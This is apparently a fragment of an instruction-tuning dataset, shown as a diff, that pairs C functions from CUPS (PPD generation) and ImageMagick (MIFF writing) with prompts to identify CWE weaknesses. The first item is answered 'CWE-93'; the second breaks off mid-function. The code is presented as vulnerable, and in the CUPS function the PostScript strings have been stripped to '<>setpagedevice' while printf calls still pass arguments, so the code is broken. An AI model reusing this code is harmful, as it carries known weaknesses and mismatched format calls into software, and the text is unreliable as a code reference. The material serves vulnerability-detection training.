_(\"Plastic Satin\") },\n { \"plastic-semi-gloss\", _(\"Plastic Semi Gloss\") },\n { \"plate\", _(\"Plate\") },\n { \"polyester\", _(\"Polyester\") },\n { \"pre-cut-tabs\", _(\"Pre Cut Tabs\") },\n { \"roll\", _(\"Roll\") },\n { \"screen\", _(\"Screen\") },\n { \"screen-paged\", _(\"Screen Paged\") },\n { \"self-adhesive\", _(\"Self Adhesive\") },\n { \"self-adhesive-film\", _(\"Self Adhesive Film\") },\n { \"shrink-foil\", _(\"Shrink Foil\") },\n { \"single-face\", _(\"Single Face\") },\n { \"single-wall\", _(\"Single Wall Cardboard\") },\n { \"sleeve\", _(\"Sleeve\") },\n { \"stationery\", _(\"Stationery\") },\n { \"stationery-archival\", _(\"Stationery Archival\") },\n { \"stationery-coated\", _(\"Coated Paper\") },\n { \"stationery-cotton\", _(\"Stationery Cotton\") },\n { \"stationery-fine\", _(\"Vellum Paper\") },\n { \"stationery-heavyweight\", _(\"Heavyweight Paper\") },\n { \"stationery-heavyweight-coated\", _(\"Stationery Heavyweight Coated\") },\n { \"stationery-inkjet\", _(\"Stationery Inkjet Paper\") },\n { \"stationery-letterhead\", _(\"Letterhead\") },\n { \"stationery-lightweight\", _(\"Lightweight Paper\") },\n { \"stationery-preprinted\", _(\"Preprinted Paper\") },\n { \"stationery-prepunched\", _(\"Punched Paper\") },\n { \"tab-stock\", _(\"Tab Stock\") },\n { \"tractor\", _(\"Tractor\") },\n { \"transfer\", _(\"Transfer\") },\n { \"transparency\", _(\"Transparency\") },\n { \"triple-wall\", _(\"Triple Wall Cardboard\") },\n { \"wet-film\", _(\"Wet Film\") }\n };\n\n cupsFilePrintf(fp, \"*OpenUI *MediaType: PickOne\\n\"\n \"*OrderDependency: 10 AnySetup *MediaType\\n\"\n \"*DefaultMediaType: %s\\n\", ppdname);\n for (i = 0; i < (int)(sizeof(media_types) / sizeof(media_types[0])); i ++)\n {\n if (!ippContainsString(attr, media_types[i][0]))\n continue;\n\n pwg_ppdize_name(media_types[i][0], ppdname, sizeof(ppdname));\n\n cupsFilePrintf(fp, \"*MediaType %s/%s: \\\"<>setpagedevice\\\"\\n\", ppdname, _cupsLangString(lang, media_types[i][1]), ppdname);\n }\n cupsFilePuts(fp, \"*CloseUI: *MediaType\\n\");\n }\n\n /*\n * ColorModel...\n */\n\n if ((attr = ippFindAttribute(response, \"pwg-raster-document-type-supported\", IPP_TAG_KEYWORD)) == NULL)\n if ((attr = ippFindAttribute(response, \"urf-supported\", IPP_TAG_KEYWORD)) == NULL)\n if ((attr = ippFindAttribute(response, \"print-color-mode-supported\", IPP_TAG_KEYWORD)) == NULL)\n attr = ippFindAttribute(response, \"output-mode-supported\", IPP_TAG_KEYWORD);\n\n if (attr)\n {\n const char *default_color = NULL;\t/* Default */\n\n for (i = 0, count = ippGetCount(attr); i < count; i ++)\n {\n const char *keyword = ippGetString(attr, i, NULL);\n\t\t\t\t\t/* Keyword for color/bit depth */\n\n if (!strcmp(keyword, \"black_1\") || !strcmp(keyword, \"bi-level\") || !strcmp(keyword, \"process-bi-level\"))\n {\n if (!default_color)\n\t cupsFilePrintf(fp, \"*OpenUI *ColorModel/%s: PickOne\\n\"\n\t\t\t \"*OrderDependency: 10 AnySetup *ColorModel\\n\", _cupsLangString(lang, _(\"Color Mode\")));\n\n cupsFilePrintf(fp, \"*ColorModel FastGray/%s: \\\"<>setpagedevice\\\"\\n\", _cupsLangString(lang, _(\"Fast Grayscale\")));\n\n if (!default_color)\n\t default_color = \"FastGray\";\n }\n else if (!strcmp(keyword, \"sgray_8\") || !strcmp(keyword, \"W8\") || !strcmp(keyword, \"monochrome\") || !strcmp(keyword, \"process-monochrome\"))\n {\n if (!default_color)\n\t cupsFilePrintf(fp, \"*OpenUI *ColorModel/%s: PickOne\\n\"\n\t\t\t \"*OrderDependency: 10 AnySetup *ColorModel\\n\", _cupsLangString(lang, _(\"Color Mode\")));\n\n cupsFilePrintf(fp, \"*ColorModel Gray/%s: \\\"<>setpagedevice\\\"\\n\", _cupsLangString(lang, _(\"Grayscale\")));\n\n if (!default_color || !strcmp(default_color, \"FastGray\"))\n\t default_color = \"Gray\";\n }\n else if (!strcmp(keyword, \"srgb_8\") || !strcmp(keyword, \"SRGB24\") || !strcmp(keyword, \"color\"))\n {\n if (!default_color)\n\t cupsFilePrintf(fp, \"*OpenUI *ColorModel/%s: PickOne\\n\"\n\t\t\t \"*OrderDependency: 10 AnySetup *ColorModel\\n\", _cupsLangString(lang, _(\"Color Mode\")));\n\n cupsFilePrintf(fp, \"*ColorModel RGB/%s: \\\"<>setpagedevice\\\"\\n\", _cupsLangString(lang, _(\"Color\")));\n\n\tdefault_color = \"RGB\";\n }\n else if (!strcmp(keyword, \"adobe-rgb_16\") || !strcmp(keyword, \"ADOBERGB48\"))\n {\n if (!default_color)\n\t cupsFilePrintf(fp, \"*OpenUI *ColorModel/%s: PickOne\\n\"\n\t\t\t \"*OrderDependency: 10 AnySetup *ColorModel\\n\", _cupsLangString(lang, _(\"Color Mode\")));\n\n cupsFilePrintf(fp, \"*ColorModel AdobeRGB/%s: \\\"<>setpagedevice\\\"\\n\", _cupsLangString(lang, _(\"Deep Color\")));\n\n if (!default_color)\n\t default_color = \"AdobeRGB\";\n }\n }\n\n if (default_color)\n {\n cupsFilePrintf(fp, \"*DefaultColorModel: %s\\n\", default_color);\n cupsFilePuts(fp, \"*CloseUI: *ColorModel\\n\");\n }\n }\n\n /*\n * Duplex...\n */\n\n if ((attr = ippFindAttribute(response, \"sides-supported\", IPP_TAG_KEYWORD)) != NULL && ippContainsString(attr, \"two-sided-long-edge\"))\n {\n cupsFilePrintf(fp, \"*OpenUI *Duplex/%s: PickOne\\n\"\n\t\t \"*OrderDependency: 10 AnySetup *Duplex\\n\"\n\t\t \"*DefaultDuplex: None\\n\"\n\t\t \"*Duplex None/%s: \\\"<>setpagedevice\\\"\\n\"\n\t\t \"*Duplex DuplexNoTumble/%s: \\\"<>setpagedevice\\\"\\n\"\n\t\t \"*Duplex DuplexTumble/%s: \\\"<>setpagedevice\\\"\\n\"\n\t\t \"*CloseUI: *Duplex\\n\", _cupsLangString(lang, _(\"2-Sided Printing\")), _cupsLangString(lang, _(\"Off (1-Sided)\")), _cupsLangString(lang, _(\"Long-Edge (Portrait)\")), _cupsLangString(lang, _(\"Short-Edge (Landscape)\")));\n\n if ((attr = ippFindAttribute(response, \"pwg-raster-document-sheet-back\", IPP_TAG_KEYWORD)) != NULL)\n {\n const char *keyword = ippGetString(attr, 0, NULL);\n\t\t\t\t\t/* Keyword value */\n\n if (!strcmp(keyword, \"flipped\"))\n cupsFilePuts(fp, \"*cupsBackSide: Flipped\\n\");\n else if (!strcmp(keyword, \"manual-tumble\"))\n cupsFilePuts(fp, \"*cupsBackSide: ManualTumble\\n\");\n else if (!strcmp(keyword, \"normal\"))\n cupsFilePuts(fp, \"*cupsBackSide: Normal\\n\");\n else\n cupsFilePuts(fp, \"*cupsBackSide: Rotated\\n\");\n }\n else if ((attr = ippFindAttribute(response, \"urf-supported\", IPP_TAG_KEYWORD)) != NULL)\n {\n for (i = 0, count = ippGetCount(attr); i < count; i ++)\n {\n\tconst char *dm = ippGetString(attr, i, NULL);\n\t\t\t\t\t /* DM value */\n\n\tif (!_cups_strcasecmp(dm, \"DM1\"))\n\t{\n\t cupsFilePuts(fp, \"*cupsBackSide: Normal\\n\");\n\t break;\n\t}\n\telse if (!_cups_strcasecmp(dm, \"DM2\"))\n\t{\n\t cupsFilePuts(fp, \"*cupsBackSide: Flipped\\n\");\n\t break;\n\t}\n\telse if (!_cups_strcasecmp(dm, \"DM3\"))\n\t{\n\t cupsFilePuts(fp, \"*cupsBackSide: Rotated\\n\");\n\t break;\n\t}\n\telse if (!_cups_strcasecmp(dm, \"DM4\"))\n\t{\n\t cupsFilePuts(fp, \"*cupsBackSide: ManualTumble\\n\");\n\t break;\n\t}\n }\n }\n }\n\n /*\n * Finishing options...\n */\n\n if ((attr = ippFindAttribute(response, \"finishings-col-database\", IPP_TAG_BEGIN_COLLECTION)) != NULL)\n {\n ipp_t\t\t*col;\t\t/* Collection value */\n ipp_attribute_t\t*template;\t/* \"finishing-template\" member */\n const char\t\t*name;\t\t/* String name */\n int\t\t\tvalue;\t\t/* Enum value, if any */\n cups_array_t\t*names;\t\t/* Names we've added */\n\n count = ippGetCount(attr);\n names = cupsArrayNew3((cups_array_func_t)strcmp, NULL, NULL, 0, (cups_acopy_func_t)strdup, (cups_afree_func_t)free);\n\n cupsFilePrintf(fp, \"*OpenUI *cupsFinishingTemplate/%s: PickMany\\n\"\n\t\t \"*OrderDependency: 10 AnySetup *cupsFinishingTemplate\\n\"\n\t\t \"*DefaultcupsFinishingTemplate: none\\n\"\n\t\t \"*cupsFinishingTemplate none/%s: \\\"\\\"\\n\"\n\t\t \"*cupsIPPFinishings 3/none: \\\"*cupsFinishingTemplate none\\\"\\n\", _cupsLangString(lang, _(\"Finishing\")), _cupsLangString(lang, _(\"No Finishing\")));\n\n for (i = 0; i < count; i ++)\n {\n col = ippGetCollection(attr, i);\n template = ippFindAttribute(col, \"finishing-template\", IPP_TAG_ZERO);\n\n if ((name = ippGetString(template, 0, NULL)) == NULL || !strcmp(name, \"none\"))\n continue;\n\n if (cupsArrayFind(names, (char *)name))\n continue;\t\t\t/* Already did this finishing template */\n\n cupsArrayAdd(names, (char *)name);\n\n for (j = 0; j < (int)(sizeof(finishings) / sizeof(finishings[0])); j ++)\n {\n if (!strcmp(finishings[j][0], name))\n\t{\n cupsFilePrintf(fp, \"*cupsFinishingTemplate %s/%s: \\\"\\\"\\n\", name, _cupsLangString(lang, finishings[j][1]));\n\n\t value = ippEnumValue(\"finishings\", name);\n\n\t if (value)\n\t cupsFilePrintf(fp, \"*cupsIPPFinishings %d/%s: \\\"*cupsFinishingTemplate %s\\\"\\n\", value, name, name);\n break;\n\t}\n }\n }\n\n cupsArrayDelete(names);\n\n cupsFilePuts(fp, \"*CloseUI: *cupsFinishingTemplate\\n\");\n }\n else if ((attr = ippFindAttribute(response, \"finishings-supported\", IPP_TAG_ENUM)) != NULL && (count = ippGetCount(attr)) > 1 )\n {\n const char\t\t*name;\t\t/* String name */\n int\t\t\tvalue;\t\t/* Enum value, if any */\n\n count = ippGetCount(attr);\n\n cupsFilePrintf(fp, \"*OpenUI *cupsFinishingTemplate/%s: PickMany\\n\"\n\t\t \"*OrderDependency: 10 AnySetup *cupsFinishingTemplate\\n\"\n\t\t \"*DefaultcupsFinishingTemplate: none\\n\"\n\t\t \"*cupsFinishingTemplate none/%s: \\\"\\\"\\n\"\n\t\t \"*cupsIPPFinishings 3/none: \\\"*cupsFinishingTemplate none\\\"\\n\", _cupsLangString(lang, _(\"Finishing\")), _cupsLangString(lang, _(\"No Finishing\")));\n\n for (i = 0; i < count; i ++)\n {\n if ((value = ippGetInteger(attr, i)) == 3)\n continue;\n\n name = ippEnumString(\"finishings\", value);\n for (j = 0; j < (int)(sizeof(finishings) / sizeof(finishings[0])); j ++)\n {\n if (!strcmp(finishings[j][0], name))\n\t{\n cupsFilePrintf(fp, \"*cupsFinishingTemplate %s/%s: \\\"\\\"\\n\", name, _cupsLangString(lang, finishings[j][1]));\n\t cupsFilePrintf(fp, \"*cupsIPPFinishings %d/%s: \\\"*cupsFinishingTemplate %s\\\"\\n\", value, name, name);\n break;\n\t}\n }\n }\n\n cupsFilePuts(fp, \"*CloseUI: *cupsFinishingTemplate\\n\");\n }\n\n /*\n * cupsPrintQuality and DefaultResolution...\n */\n\n if ((attr = ippFindAttribute(response, \"pwg-raster-document-resolution-supported\", IPP_TAG_RESOLUTION)) != NULL)\n {\n count = ippGetCount(attr);\n\n pwg_ppdize_resolution(attr, count / 2, &xres, &yres, ppdname, sizeof(ppdname));\n cupsFilePrintf(fp, \"*DefaultResolution: %s\\n\", ppdname);\n\n cupsFilePrintf(fp, \"*OpenUI *cupsPrintQuality/%s: PickOne\\n\"\n\t\t \"*OrderDependency: 10 AnySetup *cupsPrintQuality\\n\"\n\t\t \"*DefaultcupsPrintQuality: Normal\\n\", _cupsLangString(lang, _(\"Print Quality\")));\n if (count > 2)\n {\n pwg_ppdize_resolution(attr, 0, &xres, &yres, NULL, 0);\n cupsFilePrintf(fp, \"*cupsPrintQuality Draft/%s: \\\"<>setpagedevice\\\"\\n\", _cupsLangString(lang, _(\"Draft\")), xres, yres);\n }\n pwg_ppdize_resolution(attr, count / 2, &xres, &yres, NULL, 0);\n cupsFilePrintf(fp, \"*cupsPrintQuality Normal/%s: \\\"<>setpagedevice\\\"\\n\", _cupsLangString(lang, _(\"Normal\")), xres, yres);\n if (count > 1)\n {\n pwg_ppdize_resolution(attr, count - 1, &xres, &yres, NULL, 0);\n cupsFilePrintf(fp, \"*cupsPrintQuality High/%s: \\\"<>setpagedevice\\\"\\n\", _cupsLangString(lang, _(\"High\")), xres, yres);\n }\n\n cupsFilePuts(fp, \"*CloseUI: *cupsPrintQuality\\n\");\n }\n else if ((attr = ippFindAttribute(response, \"urf-supported\", IPP_TAG_KEYWORD)) != NULL)\n {\n int lowdpi = 0, hidpi = 0;\t\t/* Lower and higher resolution */\n\n for (i = 0, count = ippGetCount(attr); i < count; i ++)\n {\n const char *rs = ippGetString(attr, i, NULL);\n\t\t\t\t\t/* RS value */\n\n if (_cups_strncasecmp(rs, \"RS\", 2))\n continue;\n\n lowdpi = atoi(rs + 2);\n if ((rs = strrchr(rs, '-')) != NULL)\n hidpi = atoi(rs + 1);\n else\n hidpi = lowdpi;\n break;\n }\n\n if (lowdpi == 0)\n {\n /*\n * Invalid \"urf-supported\" value...\n */\n\n goto bad_ppd;\n }\n else\n {\n /*\n * Generate print qualities based on low and high DPIs...\n */\n\n cupsFilePrintf(fp, \"*DefaultResolution: %ddpi\\n\", lowdpi);\n\n cupsFilePrintf(fp, \"*OpenUI *cupsPrintQuality/%s: PickOne\\n\"\n\t\t\t \"*OrderDependency: 10 AnySetup *cupsPrintQuality\\n\"\n\t\t\t \"*DefaultcupsPrintQuality: Normal\\n\", _cupsLangString(lang, _(\"Print Quality\")));\n if ((lowdpi & 1) == 0)\n\tcupsFilePrintf(fp, \"*cupsPrintQuality Draft/%s: \\\"<>setpagedevice\\\"\\n\", _cupsLangString(lang, _(\"Draft\")), lowdpi, lowdpi / 2);\n cupsFilePrintf(fp, \"*cupsPrintQuality Normal/%s: \\\"<>setpagedevice\\\"\\n\", _cupsLangString(lang, _(\"Normal\")), lowdpi, lowdpi);\n if (hidpi > lowdpi)\n\tcupsFilePrintf(fp, \"*cupsPrintQuality High/%s: \\\"<>setpagedevice\\\"\\n\", _cupsLangString(lang, _(\"High\")), hidpi, hidpi);\n cupsFilePuts(fp, \"*CloseUI: *cupsPrintQuality\\n\");\n }\n }\n else if (is_apple || is_pwg)\n goto bad_ppd;\n else if ((attr = ippFindAttribute(response, \"printer-resolution-default\", IPP_TAG_RESOLUTION)) != NULL)\n {\n pwg_ppdize_resolution(attr, 0, &xres, &yres, ppdname, sizeof(ppdname));\n cupsFilePrintf(fp, \"*DefaultResolution: %s\\n\", ppdname);\n }\n else\n cupsFilePuts(fp, \"*DefaultResolution: 300dpi\\n\");\n\n /*\n * Close up and return...\n */\n\n cupsFileClose(fp);\n\n return (buffer);\n\n /*\n * If we get here then there was a problem creating the PPD...\n */\n\n bad_ppd:\n\n cupsFileClose(fp);\n unlink(buffer);\n *buffer = '\\0';\n\n return (NULL);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-93'], 'message': 'Only list supported PDLs (Issue #4923)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static MagickBooleanType WriteMIFFImage(const ImageInfo *image_info,\n Image *image)\n{\n#if defined(MAGICKCORE_BZLIB_DELEGATE)\n bz_stream\n bzip_info;\n#endif\n\n char\n buffer[MaxTextExtent];\n\n CompressionType\n compression;\n\n const char\n *property,\n *value;\n\n IndexPacket\n index;\n\n#if defined(MAGICKCORE_LZMA_DELEGATE)\n lzma_allocator\n allocator;\n\n lzma_stream\n initialize_lzma = LZMA_STREAM_INIT,\n lzma_info;\n#endif\n\n MagickBooleanType\n status;\n\n MagickOffsetType\n scene;\n\n PixelPacket\n pixel;\n\n QuantumInfo\n *quantum_info;\n\n QuantumType\n quantum_type;\n\n register ssize_t\n i;\n\n size_t\n imageListLength,\n length,\n packet_size;\n\n ssize_t\n y;\n\n unsigned char\n *compress_pixels,\n *pixels,\n *q;\n\n#if defined(MAGICKCORE_ZLIB_DELEGATE)\n z_stream\n zip_info;\n#endif\n\n /*\n Open output image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n assert(image != (Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception);\n if (status == MagickFalse)\n return(status);\n scene=0;\n imageListLength=GetImageListLength(image);\n do\n {\n /*\n Allocate image pixels.\n */\n if ((image->storage_class == PseudoClass) &&\n (image->colors > (size_t) (GetQuantumRange(image->depth)+1)))\n (void) SetImageStorageClass(image,DirectClass);\n image->depth=image->depth <= 8 ? 8UL : image->depth <= 16 ? 16UL :\n image->depth <= 32 ? 32UL : 64UL;\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n if ((image->storage_class != PseudoClass) && (image->depth >= 16) &&\n (quantum_info->format == UndefinedQuantumFormat) &&\n (IsHighDynamicRangeImage(image,&image->exception) != MagickFalse))\n {\n status=SetQuantumFormat(image,quantum_info,FloatingPointQuantumFormat);\n if (status == MagickFalse)\n {\n quantum_info=DestroyQuantumInfo(quantum_info);\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n }\n else\n if (image->depth < 16)\n (void) DeleteImageProperty(image,\"quantum:format\");\n compression=UndefinedCompression;\n if (image_info->compression != UndefinedCompression)\n compression=image_info->compression;\n switch (compression)\n {\n#if !defined(MAGICKCORE_LZMA_DELEGATE)\n case LZMACompression: compression=NoCompression; break;\n#endif\n#if !defined(MAGICKCORE_ZLIB_DELEGATE)\n case LZWCompression:\n case ZipCompression: compression=NoCompression; break;\n#endif\n#if !defined(MAGICKCORE_BZLIB_DELEGATE)\n case BZipCompression: compression=NoCompression; break;\n#endif\n case RLECompression:\n {\n if (quantum_info->format == FloatingPointQuantumFormat)\n compression=NoCompression;\n break;\n }\n default:\n break;\n }\n packet_size=(size_t) (quantum_info->depth/8);\n if (image->storage_class == DirectClass)\n packet_size=(size_t) (3*quantum_info->depth/8);\n if (IsGrayColorspace(image->colorspace) != MagickFalse)\n packet_size=(size_t) (quantum_info->depth/8);\n if (image->matte != MagickFalse)\n packet_size+=quantum_info->depth/8;\n if (image->colorspace == CMYKColorspace)\n packet_size+=quantum_info->depth/8;\n if (compression == RLECompression)\n packet_size++;\n length=MagickMax(BZipMaxExtent(packet_size*image->columns),ZipMaxExtent(\n packet_size*image->columns));\n if ((compression == BZipCompression) || (compression == ZipCompression))\n if (length != (size_t) ((unsigned int) length))\n compression=NoCompression;\n compress_pixels=(unsigned char *) AcquireQuantumMemory(length,\n sizeof(*compress_pixels));\n if (compress_pixels == (unsigned char *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n /*\n Write MIFF header.\n */\n (void) WriteBlobString(image,\"id=ImageMagick version=1.0\\n\");\n (void) FormatLocaleString(buffer,MaxTextExtent,\n \"class=%s colors=%.20g matte=%s\\n\",CommandOptionToMnemonic(\n MagickClassOptions,image->storage_class),(double) image->colors,\n CommandOptionToMnemonic(MagickBooleanOptions,(ssize_t) image->matte));\n (void) WriteBlobString(image,buffer);\n (void) FormatLocaleString(buffer,MaxTextExtent,\"columns=%.20g rows=%.20g \"\n \"depth=%.20g\\n\",(double) image->columns,(double) image->rows,(double)\n image->depth);\n (void) WriteBlobString(image,buffer);\n if (image->type != UndefinedType)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"type=%s\\n\",\n CommandOptionToMnemonic(MagickTypeOptions,image->type));\n (void) WriteBlobString(image,buffer);\n }\n if (image->colorspace != UndefinedColorspace)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"colorspace=%s\\n\",\n CommandOptionToMnemonic(MagickColorspaceOptions,image->colorspace));\n (void) WriteBlobString(image,buffer);\n }\n if (image->intensity != UndefinedPixelIntensityMethod)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"pixel-intensity=%s\\n\",\n CommandOptionToMnemonic(MagickPixelIntensityOptions,\n image->intensity));\n (void) WriteBlobString(image,buffer);\n }\n if (image->endian != UndefinedEndian)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"endian=%s\\n\",\n CommandOptionToMnemonic(MagickEndianOptions,image->endian));\n (void) WriteBlobString(image,buffer);\n }\n if (compression != UndefinedCompression)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"compression=%s \"\n \"quality=%.20g\\n\",CommandOptionToMnemonic(MagickCompressOptions,\n compression),(double) image->quality);\n (void) WriteBlobString(image,buffer);\n }\n if (image->units != UndefinedResolution)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"units=%s\\n\",\n CommandOptionToMnemonic(MagickResolutionOptions,image->units));\n (void) WriteBlobString(image,buffer);\n }\n if ((image->x_resolution != 0) || (image->y_resolution != 0))\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\n \"resolution=%gx%g\\n\",image->x_resolution,image->y_resolution);\n (void) WriteBlobString(image,buffer);\n }\n if ((image->page.width != 0) || (image->page.height != 0))\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\n \"page=%.20gx%.20g%+.20g%+.20g\\n\",(double) image->page.width,(double)\n image->page.height,(double) image->page.x,(double) image->page.y);\n (void) WriteBlobString(image,buffer);\n }\n else\n if ((image->page.x != 0) || (image->page.y != 0))\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"page=%+ld%+ld\\n\",\n (long) image->page.x,(long) image->page.y);\n (void) WriteBlobString(image,buffer);\n }\n if ((image->tile_offset.x != 0) || (image->tile_offset.y != 0))\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"tile-offset=%+ld%+ld\\n\",\n (long) image->tile_offset.x,(long) image->tile_offset.y);\n (void) WriteBlobString(image,buffer);\n }\n if ((GetNextImageInList(image) != (Image *) NULL) ||\n (GetPreviousImageInList(image) != (Image *) NULL))\n {\n if (image->scene == 0)\n (void) FormatLocaleString(buffer,MaxTextExtent,\"iterations=%.20g \"\n \"delay=%.20g ticks-per-second=%.20g\\n\",(double) image->iterations,\n (double) image->delay,(double) image->ticks_per_second);\n else\n (void) FormatLocaleString(buffer,MaxTextExtent,\"scene=%.20g \"\n \"iterations=%.20g delay=%.20g ticks-per-second=%.20g\\n\",(double)\n image->scene,(double) image->iterations,(double) image->delay,\n (double) image->ticks_per_second);\n (void) WriteBlobString(image,buffer);\n }\n else\n {\n if (image->scene != 0)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"scene=%.20g\\n\",\n (double) image->scene);\n (void) WriteBlobString(image,buffer);\n }\n if (image->iterations != 0)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"iterations=%.20g\\n\",\n (double) image->iterations);\n (void) WriteBlobString(image,buffer);\n }\n if (image->delay != 0)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"delay=%.20g\\n\",\n (double) image->delay);\n (void) WriteBlobString(image,buffer);\n }\n if (image->ticks_per_second != UndefinedTicksPerSecond)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\n \"ticks-per-second=%.20g\\n\",(double) image->ticks_per_second);\n (void) WriteBlobString(image,buffer);\n }\n }\n if (image->gravity != UndefinedGravity)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"gravity=%s\\n\",\n CommandOptionToMnemonic(MagickGravityOptions,image->gravity));\n (void) WriteBlobString(image,buffer);\n }\n if (image->dispose != UndefinedDispose)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"dispose=%s\\n\",\n CommandOptionToMnemonic(MagickDisposeOptions,image->dispose));\n (void) WriteBlobString(image,buffer);\n }\n if (image->rendering_intent != UndefinedIntent)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\n \"rendering-intent=%s\\n\",\n CommandOptionToMnemonic(MagickIntentOptions,image->rendering_intent));\n (void) WriteBlobString(image,buffer);\n }\n if (image->gamma != 0.0)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"gamma=%g\\n\",\n image->gamma);\n (void) WriteBlobString(image,buffer);\n }\n if (image->chromaticity.white_point.x != 0.0)\n {\n /*\n Note chomaticity points.\n */\n (void) FormatLocaleString(buffer,MaxTextExtent,\"red-primary=%g,\"\n \"%g green-primary=%g,%g blue-primary=%g,%g\\n\",\n image->chromaticity.red_primary.x,image->chromaticity.red_primary.y,\n image->chromaticity.green_primary.x,\n image->chromaticity.green_primary.y,\n image->chromaticity.blue_primary.x,\n image->chromaticity.blue_primary.y);\n (void) WriteBlobString(image,buffer);\n (void) FormatLocaleString(buffer,MaxTextExtent,\n \"white-point=%g,%g\\n\",image->chromaticity.white_point.x,\n image->chromaticity.white_point.y);\n (void) WriteBlobString(image,buffer);\n }\n if (image->orientation != UndefinedOrientation)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"orientation=%s\\n\",\n CommandOptionToMnemonic(MagickOrientationOptions,image->orientation));\n (void) WriteBlobString(image,buffer);\n }\n if (image->profiles != (void *) NULL)\n {\n const char\n *name;\n\n const StringInfo\n *profile;\n\n /*\n Write image profile names.\n */\n ResetImageProfileIterator(image);\n for (name=GetNextImageProfile(image); name != (const char *) NULL; )\n {\n profile=GetImageProfile(image,name);\n if (profile != (StringInfo *) NULL)\n {\n (void) FormatLocaleString(buffer,MagickPathExtent,\"profile=%s\\n\",\n name);\n (void) WriteBlobString(image,buffer);\n }\n name=GetNextImageProfile(image);\n }\n }\n if (image->montage != (char *) NULL)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"montage=%s\\n\",\n image->montage);\n (void) WriteBlobString(image,buffer);\n }\n if (quantum_info->format == FloatingPointQuantumFormat)\n (void) SetImageProperty(image,\"quantum:format\",\"floating-point\");\n ResetImagePropertyIterator(image);\n property=GetNextImageProperty(image);\n while (property != (const char *) NULL)\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"%s=\",property);\n (void) WriteBlobString(image,buffer);\n value=GetImageProperty(image,property);\n if (value != (const char *) NULL)\n {\n size_t\n length;\n\n length=strlen(value);\n for (i=0; i < (ssize_t) length; i++)\n if ((isspace((int) ((unsigned char) value[i])) != 0) ||\n (value[i] == '}'))\n break;\n if ((i == (ssize_t) length) && (i != 0))\n (void) WriteBlob(image,length,(const unsigned char *) value);\n else\n {\n (void) WriteBlobByte(image,'{');\n if (strchr(value,'}') == (char *) NULL)\n (void) WriteBlob(image,length,(const unsigned char *) value);\n else\n for (i=0; i < (ssize_t) length; i++)\n {\n if (value[i] == (int) '}')\n (void) WriteBlobByte(image,'\\\\');\n (void) WriteBlobByte(image,(unsigned char) value[i]);\n }\n (void) WriteBlobByte(image,'}');\n }\n }\n (void) WriteBlobByte(image,'\\n');\n property=GetNextImageProperty(image);\n }\n (void) WriteBlobString(image,\"\\f\\n:\\032\");\n if (image->montage != (char *) NULL)\n {\n /*\n Write montage tile directory.\n */\n if (image->directory != (char *) NULL)\n (void) WriteBlob(image,strlen(image->directory),(unsigned char *)\n image->directory);\n (void) WriteBlobByte(image,'\\0');\n }\n if (image->profiles != 0)\n {\n const char\n *name;\n\n const StringInfo\n *profile;\n\n /*\n Write image profile blob.\n */\n ResetImageProfileIterator(image);\n name=GetNextImageProfile(image);\n while (name != (const char *) NULL)\n {\n profile=GetImageProfile(image,name);\n (void) WriteBlobMSBLong(image,(unsigned int)\n GetStringInfoLength(profile));\n (void) WriteBlob(image,GetStringInfoLength(profile),\n GetStringInfoDatum(profile));\n name=GetNextImageProfile(image);\n }\n }\n if (image->storage_class == PseudoClass)\n {\n size_t\n packet_size;\n\n unsigned char\n *colormap,\n *q;\n\n /*\n Allocate colormap.\n */\n packet_size=(size_t) (3*quantum_info->depth/8);\n colormap=(unsigned char *) AcquireQuantumMemory(image->colors,\n packet_size*sizeof(*colormap));\n if (colormap == (unsigned char *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n /*\n Write colormap to file.\n */\n q=colormap;\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n switch (quantum_info->depth)\n {\n default:\n ThrowWriterException(CorruptImageError,\"ImageDepthNotSupported\");\n case 32:\n {\n register unsigned int\n pixel;\n\n pixel=ScaleQuantumToLong(image->colormap[i].red);\n q=PopLongPixel(MSBEndian,pixel,q);\n pixel=ScaleQuantumToLong(image->colormap[i].green);\n q=PopLongPixel(MSBEndian,pixel,q);\n pixel=ScaleQuantumToLong(image->colormap[i].blue);\n q=PopLongPixel(MSBEndian,pixel,q);\n break;\n }\n case 16:\n {\n register unsigned short\n pixel;\n\n pixel=ScaleQuantumToShort(image->colormap[i].red);\n q=PopShortPixel(MSBEndian,pixel,q);\n pixel=ScaleQuantumToShort(image->colormap[i].green);\n q=PopShortPixel(MSBEndian,pixel,q);\n pixel=ScaleQuantumToShort(image->colormap[i].blue);\n 